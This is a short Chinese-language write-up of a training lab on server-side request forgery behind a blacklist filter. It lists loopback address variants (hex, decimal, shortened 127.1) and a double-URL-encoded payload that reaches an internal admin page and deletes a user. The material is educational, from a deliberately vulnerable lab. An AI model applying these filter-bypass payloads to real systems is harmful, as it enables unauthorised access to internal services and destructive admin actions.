> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-blacklist-based-filter.md).

# 基于黑名单过滤的 SSRF

### 基于黑名单输入过滤的 SSRF

该实验提供了一个库存验证功能，可用于从内部系统恢复数据。/ 目标是访问……上的管理界面 `HTTP://localhost/admin` 并删除该用户 **carlos**. / 必须绕过两个基于黑名单的薄弱防御机制。

#### 分析与绕过

当将 `stockApi` 参数直接指向本地管理员时，请求被拒绝：

```
stockApi=https://localhost/admin
```

<figure><img src="/files/fdc290722d69e0a52442095cefcbfb653fd41694" alt=""><figcaption></figcaption></figure>

为了绕过……上的黑名单 `localhost`，会测试多种内部地址变体：

* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`

这些尝试也失败了。

然后我们尝试 **十六进制** 或 **十进制** 该地址的表示形式：

* `https://0x7F.0x0.0x1`
* `https://2130706433`

检测总是会阻止 `/admin` 路径，这表明该防御主要针对这个特定字符串。

<figure><img src="/files/2ddaf4dc5a87dc72783f25b2a0c9c1f9dbffea4f" alt=""><figcaption></figcaption></figure>

```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```


---

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